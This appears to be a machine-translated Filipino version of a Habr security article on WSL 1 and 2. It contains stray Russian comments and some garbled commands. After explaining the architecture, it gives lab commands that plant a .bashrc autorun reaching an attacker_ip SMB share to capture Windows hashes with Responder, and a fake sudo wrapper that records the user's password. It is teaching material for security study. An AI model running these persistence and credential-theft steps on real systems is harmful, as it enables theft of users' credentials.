Mga eksperimento sa WSL. Bahagi 1

Hello, habr! Naglulunsad ang OTUS ng bagong stream ng kurso sa Oktubre "Seguridad ng Linux". Bilang pag-asa sa pagsisimula ng kurso, ibinabahagi namin sa iyo ang isang artikulo na isinulat ng isa sa aming mga guro, si Alexander Kolesnikov.

Noong 2016, ipinakilala ng Microsoft ang bagong teknolohiya ng WSL sa komunidad ng IT (Wmga indow Subsystem para sa Linux), na sa hinaharap ay naging posible upang pag-isahin ang mga dating hindi mapagkakasundo na mga kakumpitensya na nakikipaglaban para sa katanyagan sa parehong ordinaryong at advanced na mga gumagamit ng OS: Windows at Linux. Ginawang posible ng teknolohiyang ito na gumamit ng mga tool sa Linux OS sa isang kapaligiran ng Windows nang hindi kailangang magpatakbo ng Linux, halimbawa, gamit ang Multi-boot. Sa Habr mahahanap mo ang isang malaking bilang ng mga artikulo na naglalarawan sa mga benepisyo ng paggamit ng WSL. Gayunpaman, sa kasamaang-palad, sa oras ng paglikha ng artikulong ito, walang mga pag-aaral sa seguridad ng naturang symbiosis ng mga operating system ang natagpuan sa mapagkukunang ito. Ang post na ito ay isang pagtatangka na itama ito. Tatalakayin ng artikulo ang tungkol sa mga tampok ng mga arkitektura ng WSL 1 at 2 at susuriin ang ilang mga halimbawa ng mga pag-atake sa mga system gamit ang mga teknolohiyang ito. Ang artikulo ay nahahati sa 2 bahagi. Ang una ay magbibigay ng pangunahing teoretikal na paraan ng pag-atake mula sa Linux at Windows. Kasama sa pangalawang artikulo ang pagse-set up ng isang pagsubok na kapaligiran at muling paggawa ng mga pag-atake.

WSL 1: mga tampok na arkitektura

Para sa pinakatumpak na pagsisid sa mga isyu sa seguridad ng WSL, kinakailangan upang matukoy ang mga pangunahing nuances na nauugnay sa pagpapatupad ng subsystem. Ang isa sa mga pangunahing gawain ng gumagamit na nalutas ng WSL ay ang kakayahang magtrabaho sa isang terminal ng Linux sa isang host na nagpapatakbo ng Windows OS. Gayundin, ang inaalok na compatibility ay napaka native na ang Linux executables (ELFs) ay maaaring direktang patakbuhin sa isang Windows system. Upang makamit ang mga layuning ito, nilikha ang isang espesyal na subsystem sa Windows 10 na nagbibigay-daan sa iyong magpatakbo ng mga application ng Linux gamit ang isang hanay ng mga tukoy na tawag sa system - kaya, sinubukang imapa ang isang hanay ng mga syscall ng Linux sa Windows. Ito ay pisikal na ipinatupad sa pamamagitan ng pagdaragdag ng mga bagong driver at isang bagong format ng proseso. Biswal ang arkitektura ay ganito ang hitsura:

Sa katunayan, ang pakikipag-ugnayan sa Linux operating system ay inayos sa pamamagitan ng ilang mga kernel module at isang espesyal na uri ng proseso - pico. Mula sa diagram sa itaas, makikita mo na ang prosesong tumatakbo sa Linux instance sa host ay dapat native at dapat gumamit ng parehong mga mapagkukunan tulad ng mga regular na Windows application. Ngunit paano ito makakamit? Sa proyekto Drawbridge Ang mga konsepto ng proseso para sa Windows ay binuo na nagbigay ng lahat ng kinakailangang bahagi ng operating system (depende sa bersyon nito) upang magpatakbo ng isang application ng isa pang OS.

Tandaan na ang iminungkahing abstraction ay naging posible na hindi tumuon sa operating system (sa partikular, Windows), kung saan ang proseso ng isa pang OS ay inaasahang ilunsad, at nagmungkahi ng isang pangkalahatang diskarte.

Kaya, ang anumang aplikasyon sa loob ng proseso ng pico ay maaaring tumakbo nang walang pagsasaalang-alang sa Windows kernel:

1. Ang mga problema sa pagiging tugma at pagsasalin ng mga tawag sa system ay dapat lutasin ng mga espesyal na provider;
2. Ang kontrol sa pag-access ay dapat gawin sa pamamagitan ng Security Monitor. Ang monitor ay matatagpuan sa kernel at samakatuwid ang Windows ay nangangailangan ng pag-upgrade sa anyo ng isang bagong driver na maaaring kumilos bilang isang provider para sa mga naturang proseso. Ang prototype na proseso ng pico ay schematically na ipinakita sa ibaba:

Dahil ang Linux file system ay gumagamit ng case-sensitive na file at mga pangalan ng direktoryo, 2 uri ng mga file system ang idinagdag sa Windows upang gumana sa WSL - VolFS at DriveFS. Ang VolFS ay isang pagpapatupad ng Linux file system, ang DriveFS ay isang file system na gumagana ayon sa mga panuntunan ng Windows, ngunit may kakayahang pumili ng case sensitivity.

WSL 2

Ang WSL 1 ay may ilang mga limitasyon na hindi pinapayagan itong magamit upang malutas ang maximum na hanay ng mga gawain: halimbawa, wala itong kakayahang magpatakbo ng mga 32-bit na Linux application, at imposibleng gumamit ng mga driver ng device. Samakatuwid, noong 2020, inilabas ang WSL 2, na nagbago ng diskarte sa pagbuo ng subsystem. Ang WSL 2 ay isang na-optimize na virtual machine na tumutugma sa mga katangian ng pagkonsumo ng mapagkukunan ng WSL 1. Ngayon, depende sa mga problemang nalutas ng gumagamit ng Windows OS, maaari mong piliin ang kinakailangang bersyon ng subsystem ng Linux. Upang mabawasan ang mga posibleng kahinaan, ipinatupad ang WSL 2 batay sa Hyper-V sa Windows 10. Sa form na ito, may kakayahan ang Windows na patakbuhin ang Linux operating system kernel nang hiwalay. Ito ay nagkakahalaga ng pag-alala na ang bersyon 1 ng WSL ay ipinakilala bilang isang tampok na beta na dapat ipakita ang direksyon ng pag-unlad ng Windows sa lugar na ito, kaya ang paglipat sa Hyper-V ay hindi maiiwasan. Ang huling arkitektura ay ganito ang hitsura:

Sa bersyong ito, ang mga kernel ng Windows at Linux ay may sariling mga mapagkukunan at ang intersection ay umiiral lamang sa file system, ngunit ang intersection na ito ay hindi kumpleto. Ang pakikipag-ugnayan sa pagitan ng mga file system ay isinasagawa sa pamamagitan ng isang client-server wrapper na gumagana gamit ang 9P protocol.

Ngayon ang Microsoft ay nagbibigay ng kakayahang lumipat sa pagitan ng WSL 1 at WSL 2. Ang parehong mga bersyon ay magagamit para sa paggamit.

Seguridad ng WSL

Sa ngayon, mayroong ilang mga gawa na naglalarawan ng ilang mga diskarte sa paggamit ng mga lehitimong OS tool upang atakehin ang komunikasyon sa pagitan ng mga subsystem. Gagamitin namin ang kanilang mga script upang suriin ang kaugnayan ng mga pag-atake sa oras ng pagsulat. Pangkalahatang listahan ng mga pag-atake at senaryo:

1. Pagpapatupad ng file system: mga karapatan sa pag-access, pagkakaroon ng mga nakabahaging direktoryo/mga mekanismo ng palitan ng data.

Isinagawa ang pananaliksik upang matukoy ang mga paglabag sa mga panuntunan sa pag-access mula sa Linux FS->Windows FS, Windows FS->Linux FS. Ipinakita ng pananaliksik ang kakayahang baguhin ang isang naibigay na file sa loob ng target na OS. Sinubukan ding palitan, gumawa ng mga duplicate at tanggalin ang bahagi ng mga file system.

Sitwasyon:

• A. Pag-atake mula sa operating system ng Windows - pagbabago ng mga file mula sa /etc na direktoryo ng Linux OS.
• B. Pag-atake mula sa Linux operating system - pagbabago ng mga file sa mga direktoryo: C:Windows, C:Program Files, C:Users<User>

2. Pagpapatupad ng network stack.

Ang pananaliksik ay isinagawa gamit ang mga halimbawa ng mga pag-atake mula sa Linux operating system sa Windows. Ang mga tampok ng network stack ay ginamit, ibig sabihin, mga mekanismo ng pagpapatunay sa iba't ibang mga mapagkukunan.

Sitwasyon:

• Pagbubukas ng access sa isang port na inookupahan sa isang Windows system
• Pagbubukas ng port nang walang naaangkop na mga karapatan
• Pagpapatakbo ng reverse shell gamit ang elf file sa Windows operating system.

3. Pagtatago ng paglunsad ng mga nakakahamak na proseso ng software gamit ang WSL subsystem.

Ang pananaliksik ay batay sa isang simpleng katotohanan - ang mga subsystem ng seguridad ay hindi maaaring humarang ng mga kaganapan sa isa pang kernel na gumagana gamit ang isang lehitimong provider mula sa operating system sa kaso ng WSL 1. Sa kaso ng WSL 2, walang paraan upang tingnan ang mga kaganapan na nangyari sa isang hiwalay na kernel sa loob ng magaan na virtual machine.

Sitwasyon:

1) Ilunsad ang application para sa malayuang pag-access sa system at tingnan ang mga naka-log na kaganapan.

Mga eksperimento sa WSL 1: hash interception (Windows)

Sa wakas nakarating na kami sa praktikal na bahagi. Una, kailangan mong i-set up ang kapaligiran ng pagsubok. Ang lahat ng mga eksperimento ay isasagawa sa isang bench na may naka-install na Windows 10 2004. Ang imahe ng Ubuntu 18.04 ay pinili bilang imahe ng operating system para sa WSL. Ang larawan ay pinili nang random, at anumang iba pa ay gagana nang pareho. Mga utos para sa pag-set up ng stand:

Kailangan mo munang ilunsad powershell.exe bilang tagapangasiwa.

Para sa WSL 1 kailangan mong patakbuhin ang mga utos:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

Pagkatapos i-reboot ang stand, maaari mong tawagan ang bash command. Kung gumana nang tama ang lahat, makikita mo ang output na katulad nito sa Windows console:

Gagamitin namin ang pamamahagi ng Kali Linux bilang makina ng umaatake; ang lahat ng makina ay dapat nasa parehong lokal na network.

Ipagpalagay natin na mayroon tayong unprivileged access sa WSL sa isang Windows machine. Subukan nating atakehin ang Linux operating system sa pamamagitan ng pagtawag sa isang command mula sa Linux. Upang ipatupad ang pag-atake, gagamit kami ng isang simpleng pamamaraan ng autorun - idaragdag namin ang aming script para sa pagpapatupad sa kapaligiran ng Linux. Upang gawin ito kailangan mong baguhin ang file .bashrc.

Sa isang makina na may WSL, isinasagawa namin ang:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

Sa isang Kali Linux machine pinapatakbo namin:

1. Responder -I eth0 -rdvw

Sa isang Windows machine, ilunsad natin ang bash.

Naghihintay kami para sa resulta sa Kali Linux machine:

Kaya, nakuha namin ang mga hash ng user ng Windows sa pamamagitan ng WSL subsystem sa pamamagitan ng pagsasagawa ng command sa Linux system.

Mga eksperimento sa WSL 1: pagkuha ng password ng user (Linux OS)

Gumawa tayo ng isa pang eksperimento. Sa panahon ng pagsusuring ito, idaragdag namin sa file .bashrc ilang utos upang makuha ang password ng user ng operating system ng Linux.

Ilunsad natin ang bash at ipasok ang mga utos:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

Upang matagumpay na makumpleto ang pag-atake, kailangang tawagan ng user na si Sam ang sudo sa terminal ng Linux. Pagkatapos nito, ang password ng gumagamit ng Linux OS ay nasa file pass.txt:

Ang pagpapatupad ng mga pag-atake ay ibinigay para sa teoretikal na impormasyon lamang.

Ang susunod na bahagi ng artikulo ay maglalarawan sa pagpapatupad ng 9P protocol, isaalang-alang ang paglikha ng isang scanner para sa protocol na ito, at magsagawa din ng pag-atake gamit ito.

Listahan ng ginamit na panitikan

• WSL 2 PANANALIKSIK SA KASAMAAN
• Windows Subsystem para sa Linux Documentation

Magbasa pa

• Paano Pumili ng Real-Time na Linux Kernel Patching Software

Pinagmulan: www.habr.com